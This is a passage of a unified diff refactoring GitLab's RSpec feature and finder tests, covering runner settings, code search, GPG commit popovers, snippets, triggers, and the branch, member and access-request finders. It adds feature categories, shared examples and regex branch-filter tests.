- visit project_runners_path(project)
+ context 'when a project has disabled shared_runners' do
+ let(:project) { create(:project, shared_runners_enabled: false) }
- expect(page).not_to have_content 'To register them, go to the group\'s Runners page.'
- expect(page).to have_content 'Ask your group owner to set up a group runner'
+ it 'shared runners toggle is off' do
+ expect(page).not_to have_selector('[data-testid="toggle-shared-runners"] .is-checked')
end
end
end
- context 'as project maintainer and group owner' do
+ context 'group runners in project settings' do
before do
- group.add_owner(user)
+ project.add_maintainer(user)
end
- context 'project with a group but no group runner' do
- it 'group runners are available' do
- visit project_runners_path(project)
-
- expect(page).to have_content 'This group does not have any group runners yet.'
+ let_it_be(:group) { create :group }
+ let_it_be(:project) { create :project, group: group }
- expect(page).to have_content 'To register them, go to the group\'s Runners page.'
- expect(page).not_to have_content 'Ask your group owner to set up a group runner'
+ context 'as project and group maintainer' do
+ before do
+ group.add_maintainer(user)
end
- end
- end
-
- context 'as project maintainer' do
- context 'project without a group' do
- let(:project) { create :project }
- it 'group runners are not available' do
- visit project_runners_path(project)
+ context 'project with a group but no group runner' do
+ it 'group runners are not available' do
+ visit project_runners_path(project)
- expect(page).to have_content 'This project does not belong to a group and cannot make use of group runners.'
+ expect(page).not_to have_content 'To register them, go to the group\'s Runners page.'
+ expect(page).to have_content 'Ask your group owner to set up a group runner'
+ end
end
end
- context 'with group project' do
- let_it_be(:group) { create(:group) }
- let_it_be(:project) { create(:project, group: group) }
+ context 'as project maintainer and group owner' do
+ before do
+ group.add_owner(user)
+ end
context 'project with a group but no group runner' do
- it 'group runners are not available' do
+ it 'group runners are available' do
visit project_runners_path(project)
expect(page).to have_content 'This group does not have any group runners yet.'
- expect(page).not_to have_content 'To register them, go to the group\'s Runners page.'
- expect(page).to have_content 'Ask your group owner to set up a group runner.'
+ expect(page).to have_content 'To register them, go to the group\'s Runners page.'
+ expect(page).not_to have_content 'Ask your group owner to set up a group runner'
end
end
+ end
- context 'project with a group and a group runner' do
- let_it_be(:group_runner) do
- create(:ci_runner, :group, groups: [group], description: 'group-runner')
- end
+ context 'as project maintainer' do
+ context 'project without a group' do
+ let(:project) { create :project }
- it 'group runners are available' do
+ it 'group runners are not available' do
visit project_runners_path(project)
- expect(page).to have_content 'Available group runners: 1'
- expect(page).to have_content 'group-runner'
+ expect(page).to have_content 'This project does not belong to a group and cannot make use of group runners.'
end
+ end
- it 'group runners may be disabled for a project' do
- visit project_runners_path(project)
-
- click_on 'Disable group runners'
+ context 'with group project' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
- expect(page).to have_content 'Enable group runners'
- expect(project.reload.group_runners_enabled).to be false
+ context 'project with a group but no group runner' do
+ it 'group runners are not available' do
+ visit project_runners_path(project)
- click_on 'Enable group runners'
+ expect(page).to have_content 'This group does not have any group runners yet.'
- expect(page).to have_content 'Disable group runners'
- expect(project.reload.group_runners_enabled).to be true
+ expect(page).not_to have_content 'To register them, go to the group\'s Runners page.'
+ expect(page).to have_content 'Ask your group owner to set up a group runner.'
+ end
end
- context 'when multiple group runners are configured' do
- let_it_be(:group_runner_2) { create(:ci_runner, :group, groups: [group]) }
+ context 'project with a group and a group runner' do
+ let_it_be(:group_runner) do
+ create(:ci_runner, :group, groups: [group], description: 'group-runner')
+ end
- it 'shows the runner count' do
+ it 'group runners are available' do
visit project_runners_path(project)
- within '[data-testid="group-runners"]' do
- expect(page).to have_content format(_('Available group runners: %{runners}'), { runners: 2 })
- end
+ expect(page).to have_content 'Available group runners: 1'
+ expect(page).to have_content 'group-runner'
end
- it 'adds pagination to the group runner list' do
- stub_const('Projects::Settings::CiCdController::NUMBER_OF_RUNNERS_PER_PAGE', 1)
-
+ it 'group runners may be disabled for a project' do
visit project_runners_path(project)
- within '[data-testid="group-runners"]' do
- expect(find('.pagination')).not_to be_nil
+ click_on 'Disable group runners'
+
+ expect(page).to have_content 'Enable group runners'
+ expect(project.reload.group_runners_enabled).to be false
+
+ click_on 'Enable group runners'
+
+ expect(page).to have_content 'Disable group runners'
+ expect(project.reload.group_runners_enabled).to be true
+ end
+
+ context 'when multiple group runners are configured' do
+ let_it_be(:group_runner_2) { create(:ci_runner, :group, groups: [group]) }
+
+ it 'shows the runner count' do
+ visit project_runners_path(project)
+
+ within '[data-testid="group-runners"]' do
+ expect(page).to have_content format(_('Available group runners: %{runners}'), { runners: 2 })
+ end
+ end
+
+ it 'adds pagination to the group runner list' do
+ stub_const('Projects::Settings::CiCdController::NUMBER_OF_RUNNERS_PER_PAGE', 1)
+
+ visit project_runners_path(project)
+
+ within '[data-testid="group-runners"]' do
+ expect(find('.pagination')).not_to be_nil
+ end
end
end
end
diff --git a/spec/features/search/user_searches_for_code_spec.rb b/spec/features/search/user_searches_for_code_spec.rb
index 14d67bac85f..dd7095107f4 100644
--- a/spec/features/search/user_searches_for_code_spec.rb
+++ b/spec/features/search/user_searches_for_code_spec.rb
@@ -17,20 +17,24 @@ RSpec.describe 'User searches for code', :js, :disable_rate_limiter, feature_cat
sign_in(user)
end
- it 'finds a file' do
- visit(project_path(project))
+ context 'when on a project page' do
+ before do
+ visit(project_path(project))
+ end
- submit_search('application.js')
- select_search_scope('Code')
+ it 'finds a file' do
+ submit_search('application.js')
+ select_search_scope('Code')
- expect(page).to have_selector('.results', text: 'application.js')
- expect(page).to have_selector('.file-content .code')
- expect(page).to have_selector("span.line[lang='javascript']")
- expect(page).to have_link('application.js', href: %r{master/files/js/application.js})
- expect(page).to have_button('Copy file path')
+ expect(page).to have_selector('.results', text: 'application.js')
+ expect(page).to have_selector('.file-content .code')
+ expect(page).to have_selector("span.line[lang='javascript']")
+ expect(page).to have_link('application.js', href: %r{master/files/js/application.js})
+ expect(page).to have_button('Copy file path')
+ end
end
- context 'when on a project page' do
+ context 'when on a project search page' do
before do
visit(search_path)
find('[data-testid="project-filter"]').click
@@ -47,28 +51,31 @@ RSpec.describe 'User searches for code', :js, :disable_rate_limiter, feature_cat
let(:additional_params) { { project_id: project.id } }
end
- it 'finds code and links to blob' do
- expected_result = 'Update capybara, rspec-rails, poltergeist to recent versions'
-
- fill_in('dashboard_search', with: 'rspec')
- find('.gl-search-box-by-click-search-button').click
+ context 'when searching code' do
+ let(:expected_result) { 'Update capybara, rspec-rails, poltergeist to recent versions' }
- expect(page).to have_selector('.results', text: expected_result)
+ before do
+ fill_in('dashboard_search', with: 'rspec')
+ find('.gl-search-box-by-click-search-button').click
+ end
- find("#blob-L3").click
- expect(current_url).to match(%r{blob/master/.gitignore#L3})
- end
+ it 'finds code and links to blob' do
+ expect(page).to have_selector('.results', text: expected_result)
- it 'finds code and links to blame' do
- expected_result = 'Update capybara, rspec-rails, poltergeist to recent versions'
+ find("#blob-L3").click
+ expect(current_url).to match(%r{blob/master/.gitignore#L3})
+ end
- fill_in('dashboard_search', with: 'rspec')
- find('.gl-search-box-by-click-search-button').click
+ it 'finds code and links to blame' do
+ expect(page).to have_selector('.results', text: expected_result)
- expect(page).to have_selector('.results', text: expected_result)
+ find("#blame-L3").click
+ expect(current_url).to match(%r{blame/master/.gitignore#L3})
+ end
- find("#blame-L3").click
- expect(current_url).to match(%r{blame/master/.gitignore#L3})
+ it_behaves_like 'code highlight' do
+ subject { page }
+ end
end
it 'search multiple words with refs switching' do
diff --git a/spec/features/signed_commits_spec.rb b/spec/features/signed_commits_spec.rb
index 34127787e47..bc82afc70a3 100644
--- a/spec/features/signed_commits_spec.rb
+++ b/spec/features/signed_commits_spec.rb
@@ -94,8 +94,6 @@ RSpec.describe 'GPG signed commits', feature_category: :source_code_management d
within '.popover' do
expect(page).to have_content 'This commit was signed with a verified signature, but the committer email is not associated with the GPG Key.'
- expect(page).to have_content 'Bette Cartwright'
- expect(page).to have_content '@bette.cartwright'
expect(page).to have_content "GPG Key ID: #{GpgHelpers::User2.primary_keyid}"
end
end
@@ -110,8 +108,6 @@ RSpec.describe 'GPG signed commits', feature_category: :source_code_management d
within '.popover' do
expect(page).to have_content "This commit was signed with a different user's verified signature."
- expect(page).to have_content 'Bette Cartwright'
- expect(page).to have_content '@bette.cartwright'
expect(page).to have_content "GPG Key ID: #{GpgHelpers::User2.primary_keyid}"
end
end
@@ -138,9 +134,7 @@ RSpec.describe 'GPG signed commits', feature_category: :source_code_management d
page.find('.gpg-status-box', text: 'Verified').click
within '.popover' do
- expect(page).to have_content 'This commit was signed with a verified signature and the committer email is verified to belong to the same user.'
- expect(page).to have_content 'Nannie Bernhard'
- expect(page).to have_content '@nannie.bernhard'
+ expect(page).to have_content 'This commit was signed with a verified signature and the committer email was verified to belong to the same user.'
expect(page).to have_content "GPG Key ID: #{GpgHelpers::User1.primary_keyid}"
end
end
@@ -162,9 +156,7 @@ RSpec.describe 'GPG signed commits', feature_category: :source_code_management d
page.find('.gpg-status-box', text: 'Verified').click
within '.popover' do
- expect(page).to have_content 'This commit was signed with a verified signature and the committer email is verified to belong to the same user.'
- expect(page).to have_content 'Nannie Bernhard'
- expect(page).to have_content 'nannie.bernhard@example.com'
+ expect(page).to have_content 'This commit was signed with a verified signature and the committer email was verified to belong to the same user.'
expect(page).to have_content "GPG Key ID: #{GpgHelpers::User1.primary_keyid}"
end
end
diff --git a/spec/features/snippets/show_spec.rb b/spec/features/snippets/show_spec.rb
index a6e0bc32d42..dc2fcdd7305 100644
--- a/spec/features/snippets/show_spec.rb
+++ b/spec/features/snippets/show_spec.rb
@@ -24,4 +24,25 @@ RSpec.describe 'Snippet', :js, feature_category: :source_code_management do
subject { visit snippet_path(snippet) }
end
+
+ it_behaves_like 'a dashboard page with sidebar', :dashboard_snippets_path, :snippets
+
+ context 'when unauthenticated' do
+ it 'does not have the sidebar' do
+ visit snippet_path(snippet)
+
+ expect(page).to have_title _('Snippets')
+ expect(page).not_to have_css('aside.nav-sidebar')
+ end
+ end
+
+ context 'when authenticated as a different user' do
+ let_it_be(:different_user) { create(:user) }
+
+ before do
+ sign_in(different_user)
+ end
+
+ it_behaves_like 'a dashboard page with sidebar', :dashboard_snippets_path, :snippets
+ end
end
diff --git a/spec/features/snippets/user_creates_snippet_spec.rb b/spec/features/snippets/user_creates_snippet_spec.rb
index 064250c5673..03f569fe4b0 100644
--- a/spec/features/snippets/user_creates_snippet_spec.rb
+++ b/spec/features/snippets/user_creates_snippet_spec.rb
@@ -21,6 +21,8 @@ RSpec.describe 'User creates snippet', :js, feature_category: :source_code_manag
visit new_snippet_path
end
+ it_behaves_like 'a dashboard page with sidebar', :new_snippet_path, :snippets
+
def fill_form
snippet_fill_in_form(title: title, content: file_content, description: md_description)
end
diff --git a/spec/features/triggers_spec.rb b/spec/features/triggers_spec.rb
index 3616fdb2e8e..23a13994fa4 100644
--- a/spec/features/triggers_spec.rb
+++ b/spec/features/triggers_spec.rb
@@ -23,7 +23,7 @@ RSpec.describe 'Triggers', :js, feature_category: :continuous_integration do
wait_for_requests
end
- shared_examples 'triggers page' do
+ describe 'triggers page' do
describe 'create trigger workflow' do
it 'prevents adding new trigger with no description' do
fill_in 'trigger_description', with: ''
@@ -139,16 +139,4 @@ RSpec.describe 'Triggers', :js, feature_category: :continuous_integration do
end
end
end
-
- context 'when ci_pipeline_triggers_settings_vue_ui is enabled' do
- it_behaves_like 'triggers page'
- end
-
- context 'when ci_pipeline_triggers_settings_vue_ui is disabled' do
- before do
- stub_feature_flags(ci_pipeline_triggers_settings_vue_ui: false)
- end
-
- it_behaves_like 'triggers page'
- end
end
diff --git a/spec/features/user_sees_revert_modal_spec.rb b/spec/features/user_sees_revert_modal_spec.rb
index ea5fd537c5b..ae3158e4270 100644
--- a/spec/features/user_sees_revert_modal_spec.rb
+++ b/spec/features/user_sees_revert_modal_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Merge request > User sees revert modal', :js, :sidekiq_might_not_need_inline,
-feature_category: :code_review do
+feature_category: :code_review_workflow do
let(:project) { create(:project, :public, :repository) }
let(:user) { project.creator }
let(:merge_request) { create(:merge_request, source_project: project) }
diff --git a/spec/features/user_sorts_things_spec.rb b/spec/features/user_sorts_things_spec.rb
index 708caf79090..b45de88832c 100644
--- a/spec/features/user_sorts_things_spec.rb
+++ b/spec/features/user_sorts_things_spec.rb
@@ -34,7 +34,7 @@ RSpec.describe "User sorts things", :js do
expect(page).to have_button(sort_option)
end
- it "merge requests -> dashboard merge requests", feature_category: :code_review do
+ it "merge requests -> dashboard merge requests", feature_category: :code_review_workflow do
sort_option = s_('SortOptions|Updated date')
visit(project_merge_requests_path(project))
diff --git a/spec/features/users/login_spec.rb b/spec/features/users/login_spec.rb
index 105e9f97989..5e683befeec 100644
--- a/spec/features/users/login_spec.rb
+++ b/spec/features/users/login_spec.rb
@@ -926,7 +926,8 @@ RSpec.describe 'Login', :clean_gitlab_redis_sessions, feature_category: :system_
stub_omniauth_saml_config(enabled: true, auto_link_saml_user: true, allow_single_sign_on: ['saml'], providers: [mock_saml_config])
end
- it 'asks the user to accept the terms before setting an email' do
+ it 'asks the user to accept the terms before setting an email',
+ quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/388049', type: :flaky } do
expect(authentication_metrics)
.to increment(:user_authenticated_counter)
diff --git a/spec/finders/access_requests_finder_spec.rb b/spec/finders/access_requests_finder_spec.rb
index f4fda1f3dd2..b82495d55fd 100644
--- a/spec/finders/access_requests_finder_spec.rb
+++ b/spec/finders/access_requests_finder_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe AccessRequestsFinder do
end
end
- describe '#execute' do
+ shared_examples '#execute' do
context 'when current user cannot see project access requests' do
it_behaves_like 'a finder returning no results', :execute do
let(:source) { project }
@@ -67,7 +67,7 @@ RSpec.describe AccessRequestsFinder do
end
end
- describe '#execute!' do
+ shared_examples '#execute!' do
context 'when current user cannot see access requests' do
it_behaves_like 'a finder raising Gitlab::Access::AccessDeniedError', :execute! do
let(:source) { project }
@@ -93,4 +93,16 @@ RSpec.describe AccessRequestsFinder do
end
end
end
+
+ it_behaves_like '#execute'
+ it_behaves_like '#execute!'
+
+ context 'when project_members_index_by_project_namespace feature flag is disabled' do
+ before do
+ stub_feature_flags(project_members_index_by_project_namespace: false)
+ end
+
+ it_behaves_like '#execute'
+ it_behaves_like '#execute!'
+ end
end
diff --git a/spec/finders/branches_finder_spec.rb b/spec/finders/branches_finder_spec.rb
index 18f8d1adecc..9f185c8b8fb 100644
--- a/spec/finders/branches_finder_spec.rb
+++ b/spec/finders/branches_finder_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe BranchesFinder do
+RSpec.describe BranchesFinder, feature_category: :source_code_management do
let(:user) { create(:user) }
let(:project) { create(:project, :repository) }
let(:repository) { project.repository }
@@ -72,6 +72,19 @@ RSpec.describe BranchesFinder do
end
end
+ context 'by string' do
+ let(:params) { { search: 'add' } }
+
+ it 'returns all branches contain name' do
+ result = subject
+
+ result.each do |branch|
+ expect(branch.name).to include('add')
+ end
+ expect(result.count).to eq(5)
+ end
+ end
+
context 'by provided names' do
let(:params) { { names: %w[fix csv lfs does-not-exist] } }
@@ -127,6 +140,34 @@ RSpec.describe BranchesFinder do
end
end
+ context 'by invalid regex' do
+ let(:params) { { regex: '[' } }
+
+ it { expect { subject }.to raise_error(RegexpError) }
+ end
+
+ context 'by `|` regex' do
+ let(:params) { { regex: 'audio|add-ipython-files' } }
+
+ it 'filters branches' do
+ branches = subject
+ expect(branches.first.name).to eq('add-ipython-files')
+ expect(branches.second.name).to eq('audio')
+ expect(branches.count).to eq(2)
+ end
+ end
+
+ context 'by exclude name' do
+ let(:params) { { regex: '^[^a]' } }
+
+ it 'filters branches' do
+ result = subject
+ result.each do |branch|
+ expect(branch.name).not_to start_with('a')
+ end
+ end
+ end
+
context 'by name with multiple wildcards' do
let(:params) { { search: 'f*a*e' } }
diff --git a/spec/finders/ci/pipelines_finder_spec.rb b/spec/finders/ci/pipelines_finder_spec.rb
index a2e8fe8df5a..9ce3becf013 100644
--- a/spec/finders/ci/pipelines_finder_spec.rb
+++ b/spec/finders/ci/pipelines_finder_spec.rb
@@ -260,16 +260,6 @@ RSpec.describe Ci::PipelinesFinder do
end
end
- context 'when pipeline_name feature flag is off' do
- before do
- stub_feature_flags(pipeline_name: false)
- end
-
- it 'ignores name parameter' do
- is_expected.to contain_exactly(pipeline, pipeline_other)
- end
- end
-
context 'when pipeline_name_search feature flag is off' do
before do
stub_feature_flags(pipeline_name_search: false)
diff --git a/spec/finders/ci/runners_finder_spec.rb b/spec/finders/ci/runners_finder_spec.rb
index a8ef99eeaec..1aba77f4d6e 100644
--- a/spec/finders/ci/runners_finder_spec.rb
+++ b/spec/finders/ci/runners_finder_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Ci::RunnersFinder do
+RSpec.describe Ci::RunnersFinder, feature_category: :runner_fleet do
context 'admin' do
let_it_be(:admin) { create(:user, :admin) }
@@ -630,16 +630,6 @@ RSpec.describe Ci::RunnersFinder do
expect(subject).to be_empty
end
end
-
- context 'when on_demand_scans_runner_tags feature flag is disabled' do
- before do
- stub_feature_flags(on_demand_scans_runner_tags: false)
- end
-
- it 'returns no runners' do
- expect(subject).to be_empty
- end
- end
end
end
end
diff --git a/spec/finders/members_finder_spec.rb b/spec/finders/members_finder_spec.rb
index aa7d32e51ac..c48a0271471 100644
--- a/spec/finders/members_finder_spec.rb
+++ b/spec/finders/members_finder_spec.rb
@@ -2,205 +2,217 @@
require 'spec_helper'
-RSpec.describe MembersFinder, '#execute' do
- let_it_be(:group) { create(:group) }
- let_it_be(:nested_group) { create(:group, parent: group) }
- let_it_be(:project, reload: true) { create(:project, namespace: nested_group) }
- let_it_be(:user1) { create(:user) }
- let_it_be(:user2) { create(:user) }
- let_it_be(:user3) { create(:user) }
- let_it_be(:user4) { create(:user) }
- let_it_be(:blocked_user) { create(:user, :blocked) }
-
- it 'returns members for project and parent groups' do
- nested_group.request_access(user1)
- member1 = group.add_maintainer(user2)
- member2 = nested_group.add_maintainer(user3)
- member3 = project.add_maintainer(user4)
- blocked_member = project.add_maintainer(blocked_user)
-
- result = described_class.new(project, user2).execute
-
- expect(result).to contain_exactly(member1, member2, member3, blocked_member)
- end
+RSpec.describe MembersFinder, feature_category: :subgroups do
+ shared_examples '#execute' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:nested_group) { create(:group, parent: group) }
+ let_it_be(:project, reload: true) { create(:project, namespace: nested_group) }
+ let_it_be(:user1) { create(:user) }
+ let_it_be(:user2) { create(:user) }
+ let_it_be(:user3) { create(:user) }
+ let_it_be(:user4) { create(:user) }
+ let_it_be(:blocked_user) { create(:user, :blocked) }
+
+ it 'returns members for project and parent groups' do
+ nested_group.request_access(user1)
+ member1 = group.add_maintainer(user2)
+ member2 = nested_group.add_maintainer(user3)
+ member3 = project.add_maintainer(user4)
+ blocked_member = project.add_maintainer(blocked_user)
+
+ result = described_class.new(project, user2).execute
+
+ expect(result).to contain_exactly(member1, member2, member3, blocked_member)
+ end
- it 'returns owners and maintainers' do
- member1 = group.add_owner(user1)
- group.add_developer(user2)
- member3 = project.add_maintainer(user3)
- project.add_developer(user4)
+ it 'returns owners and maintainers' do
+ member1 = group.add_owner(user1)
+ group.add_developer(user2)
+ member3 = project.add_maintainer(user3)
+ project.add_developer(user4)
- result = described_class.new(project, user2, params: { owners_and_maintainers: true }).execute
+ result = described_class.new(project, user2, params: { owners_and_maintainers: true }).execute
- expect(result).to contain_exactly(member1, member3)
- end
+ expect(result).to contain_exactly(member1, member3)
+ end
- it 'returns active users and excludes invited users' do
- member1 = project.add_maintainer(user2)
- create(:project_member, :invited, project: project, invite_email: create(:user).email)
- project.add_maintainer(blocked_user)
+ it 'returns active users and excludes invited users' do
+ member1 = project.add_maintainer(user2)
+ create(:project_member, :invited, project: project, invite_email: create(:user).email)
+ project.add_maintainer(blocked_user)
- result = described_class.new(project, user2, params: { active_without_invites_and_requests: true }).execute
+ result = described_class.new(project, user2, params: { active_without_invites_and_requests: true }).execute
- expect(result).to contain_exactly(member1)
- end
+ expect(result).to contain_exactly(member1)
+ end
- it 'does not return members of parent group with minimal access' do
- nested_group.request_access(user1)
- member1 = group.add_maintainer(user2)
- member2 = nested_group.add_maintainer(user3)
- member3 = project.add_maintainer(user4)
- create(:group_member, :minimal_access, user: create(:user), source: group)
+ it 'does not return members of parent group with minimal access' do
+ nested_group.request_access(user1)
+ member1 = group.add_maintainer(user2)
+ member2 = nested_group.add_maintainer(user3)
+ member3 = project.add_maintainer(user4)
+ create(:group_member, :minimal_access, user: create(:user), source: group)
- result = described_class.new(project, user2).execute
+ result = described_class.new(project, user2).execute
- expect(result).to contain_exactly(member1, member2, member3)
- end
+ expect(result).to contain_exactly(member1, member2, member3)
+ end
- it 'includes only non-invite members if user do not have amdin permissions on project' do
- create(:project_member, :invited, project: project, invite_email: create(:user).email)
- member1 = project.add_maintainer(user1)
- member2 = project.add_developer(user2)
+ it 'includes only non-invite members if user do not have amdin permissions on project' do
+ create(:project_member, :invited, project: project, invite_email: create(:user).email)
+ member1 = project.add_maintainer(user1)
+ member2 = project.add_developer(user2)
- result = described_class.new(project, user2).execute(include_relations: [:direct])
+ result = described_class.new(project, user2).execute(include_relations: [:direct])
- expect(result).to contain_exactly(member1, member2)
- end
+ expect(result).to contain_exactly(member1, member2)
+ end
- it 'includes invited members if user have admin permissions on project' do
- member_invite = create(:project_member, :invited, project: project, invite_email: create(:user).email)
- member1 = project.add_maintainer(user1)
- member2 = project.add_maintainer(user2)
+ it 'includes invited members if user have admin permissions on project' do
+ member_invite = create(:project_member, :invited, project: project, invite_email: create(:user).email)
+ member1 = project.add_maintainer(user1)
+ member2 = project.add_maintainer(user2)
- result = described_class.new(project, user2).execute(include_relations: [:direct])
+ result = described_class.new(project, user2).execute(include_relations: [:direct])
- expect(result).to contain_exactly(member1, member2, member_invite)
- end
+ expect(result).to contain_exactly(member1, member2, member_invite)
+ end
- it 'includes nested group members if asked', :nested_groups do
- nested_group.request_access(user1)
- member1 = group.add_maintainer(user2)
- member2 = nested_group.add_maintainer(user3)
- member3 = project.add_maintainer(user4)
+ it 'includes nested group members if asked', :nested_groups do
+ nested_group.request_access(user1)
+ member1 = group.add_maintainer(user2)
+ member2 = nested_group.add_maintainer(user3)
+ member3 = project.add_maintainer(user4)
- result = described_class.new(project, user2).execute(include_relations: [:direct, :descendants])
+ result = described_class.new(project, user2).execute(include_relations: [:direct, :descendants])
- expect(result).to contain_exactly(member1, member2, member3)
- end
+ expect(result).to contain_exactly(member1, member2, member3)
+ end
- it 'returns only members of project if asked' do
- nested_group.request_access(user1)
- group.add_maintainer(user2)
- nested_group.add_maintainer(user3)
- member4 = project.add_maintainer(user4)
+ it 'returns only members of project if asked' do
+ nested_group.request_access(user1)
+ group.add_maintainer(user2)
+ nested_group.add_maintainer(user3)
+ member4 = project.add_maintainer(user4)
- result = described_class.new(project, user2).execute(include_relations: [:direct])
+ result = described_class.new(project, user2).execute(include_relations: [:direct])
- expect(result).to contain_exactly(member4)
- end
+ expect(result).to contain_exactly(member4)
+ end
- it 'returns only inherited members of project if asked' do
- nested_group.request_access(user1)
- member2 = group.add_maintainer(user2)
- member3 = nested_group.add_maintainer(user3)
- project.add_maintainer(user4)
+ it 'returns only inherited members of project if asked' do
+ nested_group.request_access(user1)
+ member2 = group.add_maintainer(user2)
+ member3 = nested_group.add_maintainer(user3)
+ project.add_maintainer(user4)
- result = described_class.new(project, user2).execute(include_relations: [:inherited])
+ result = described_class.new(project, user2).execute(include_relations: [:inherited])
- expect(result).to contain_exactly(member2, member3)
- end
+ expect(result).to contain_exactly(member2, member3)
+ end
- it 'returns only inherited members of a personal project' do
- project = create(:project, namespace: user1.namespace)
- member = project.members.first
+ it 'returns only inherited members of a personal project' do
+ project = create(:project, namespace: user1.namespace)
+ member = project.members.first
- result = described_class.new(project, user1).execute(include_relations: [:inherited])
+ result = described_class.new(project, user1).execute(include_relations: [:inherited])
- expect(result).to contain_exactly(member)
- end
+ expect(result).to contain_exactly(member)
+ end
- it 'returns the members.access_level when the user is invited', :nested_groups do
- member_invite = create(:project_member, :invited, project: project, invite_email: create(:user).email)
- member1 = group.add_maintainer(user2)
+ it 'returns the members.access_level when the user is invited', :nested_groups do
+ member_invite = create(:project_member, :invited, project: project, invite_email: create(:user).email)
+ member1 = group.add_maintainer(user2)
- result = described_class.new(project, user2).execute(include_relations: [:direct, :descendants])
+ result = described_class.new(project, user2).execute(include_relations: [:direct, :descendants])
- expect(result).to contain_exactly(member1, member_invite)
- expect(result.last.access_level).to eq(member_invite.access_level)
- end
+ expect(result).to contain_exactly(member1, member_invite)
+ expect(result.last.access_level).to eq(member_invite.access_level)
+ end
- it 'returns the highest access_level for the user', :nested_groups do
- member1 = project.add_guest(user1)
- group.add_developer(user1)
- nested_group.add_reporter(user1)
+ it 'returns the highest access_level for the user', :nested_groups do
+ member1 = project.add_guest(user1)
+ group.add_developer(user1)
+ nested_group.add_reporter(user1)
- result = described_class.new(project, user1).execute(include_relations: [:direct, :descendants])
+ result = described_class.new(project, user1).execute(include_relations: [:direct, :descendants])
- expect(result).to contain_exactly(member1)
- expect(result.first.access_level).to eq(Gitlab::Access::DEVELOPER)
- end
+ expect(result).to contain_exactly(member1)
+ expect(result.first.access_level).to eq(Gitlab::Access::DEVELOPER)
+ end
- it 'returns searched members if requested' do
- project.add_maintainer(user2)
- project.add_maintainer(user3)
- member3 = project.add_maintainer(user4)
+ it 'returns searched members if requested' do
+ project.add_maintainer(user2)
+ project.add_maintainer(user3)
+ member3 = project.add_maintainer(user4)
- result = described_class.new(project, user2, params: { search: user4.name }).execute
+ result = described_class.new(project, user2, params: { search: user4.name }).execute
- expect(result).to contain_exactly(member3)
- end
+ expect(result).to contain_exactly(member3)
+ end
- it 'returns members sorted by id_desc' do
- member1 = project.add_maintainer(user2)
- member2 = project.add_maintainer(user3)
- member3 = project.add_maintainer(user4)
+ it 'returns members sorted by id_desc' do
+ member1 = project.add_maintainer(user2)
+ member2 = project.add_maintainer(user3)
+ member3 = project.add_maintainer(user4)
- result = described_class.new(project, user2, params: { sort: 'id_desc' }).execute
+ result = described_class.new(project, user2, params: { sort: 'id_desc' }).execute
- expect(result).to eq([member3, member2, member1])
- end
+ expect(result).to eq([member3, member2, member1])
+ end
- context 'when :invited_groups is passed' do
- shared_examples 'with invited_groups param' do
- subject { described_class.new(project, user2).execute(include_relations: [:inherited, :direct, :invited_groups]) }
+ context 'when :invited_groups is passed' do
+ shared_examples 'with invited_groups param' do
+ subject { described_class.new(project, user2).execute(include_relations: [:inherited, :direct, :invited_groups]) }
- let_it_be(:linked_group) { create(:group, :public) }
- let_it_be(:nested_linked_group) { create(:group, parent: linked_group) }
- let_it_be(:linked_group_member) { linked_group.add_guest(user1) }
- let_it_be(:nested_linked_group_member) { nested_linked_group.add_guest(user2) }
+ let_it_be(:linked_group) { create(:group, :public) }
+ let_it_be(:nested_linked_group) { create(:group, parent: linked_group) }
+ let_it_be(:linked_group_member) { linked_group.add_guest(user1) }
+ let_it_be(:nested_linked_group_member) { nested_linked_group.add_guest(user2) }
- it 'includes all the invited_groups members including members inherited from ancestor groups' do
- create(:project_group_link, project: project, group: nested_linked_group)
+ it 'includes all the invited_groups members including members inherited from ancestor groups' do
+ create(:project_group_link, project: project, group: nested_linked_group)
- expect(subject).to contain_exactly(linked_group_member, nested_linked_group_member)
- end
+ expect(subject).to contain_exactly(linked_group_member, nested_linked_group_member)
+ end
- it 'includes all the invited_groups members' do
- create(:project_group_link, project: project, group: linked_group)
+ it 'includes all the invited_groups members' do
+ create(:project_group_link, project: project, group: linked_group)
- expect(subject).to contain_exactly(linked_group_member)
- end
+ expect(subject).to contain_exactly(linked_group_member)
+ end
- it 'excludes group_members not visible to the user' do
- create(:project_group_link, project: project, group: linked_group)
- private_linked_group = create(:group, :private)
- private_linked_group.add_developer(user3)
- create(:project_group_link, project: project, group: private_linked_group)
+ it 'excludes group_members not visible to the user' do
+ create(:project_group_link, project: project, group: linked_group)
+ private_linked_group = create(:group, :private)
+ private_linked_group.add_developer(user3)
+ create(:project_group_link, project: project, group: private_linked_group)
- expect(subject).to contain_exactly(linked_group_member)
- end
+ expect(subject).to contain_exactly(linked_group_member)
+ end
- context 'when the user is a member of invited group and ancestor groups' do
- it 'returns the highest access_level for the user limited by project_group_link.group_access', :nested_groups do
- create(:project_group_link, project: project, group: nested_linked_group, group_access: Gitlab::Access::REPORTER)
- nested_linked_group.add_developer(user1)
+ context 'when the user is a member of invited group and ancestor groups' do
+ it 'returns the highest access_level for the user limited by project_group_link.group_access', :nested_groups do
+ create(:project_group_link, project: project, group: nested_linked_group, group_access: Gitlab::Access::REPORTER)
+ nested_linked_group.add_developer(user1)
- expect(subject.map(&:user)).to contain_exactly(user1, user2)
- expect(subject.max_by(&:access_level).access_level).to eq(Gitlab::Access::REPORTER)
+ expect(subject.map(&:user)).to contain_exactly(user1, user2)
+ expect(subject.max_by(&:access_level).access_level).to eq(Gitlab::Access::REPORTER)
+ end
end
end
+
+ it_behaves_like 'with invited_groups param'
+ end
+ end
+
+ it_behaves_like '#execute'
+
+ context 'when project_members_index_by_project_namespace feature flag is disabled' do
+ before do
+ stub_feature_flags(project_members_index_by_project_namespace: false)
end
- it_behaves_like 'with invited_groups param'
+ it_behaves_like '#execute'
end
end
diff --git a/spec/finders/merge_requests_finder_spec.rb b/spec/finders/merge_requests_finder_spec.rb
index 349ffd09324..e58ec0cd59e 100644
--- a/spec/finders/merge_requests_finder_spec.rb
+++ b/spec/finders/merge_requests_finder_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MergeRequestsFinder do
+RSpec.describe MergeRequestsFinder, feature_category: :code_review_workflow do
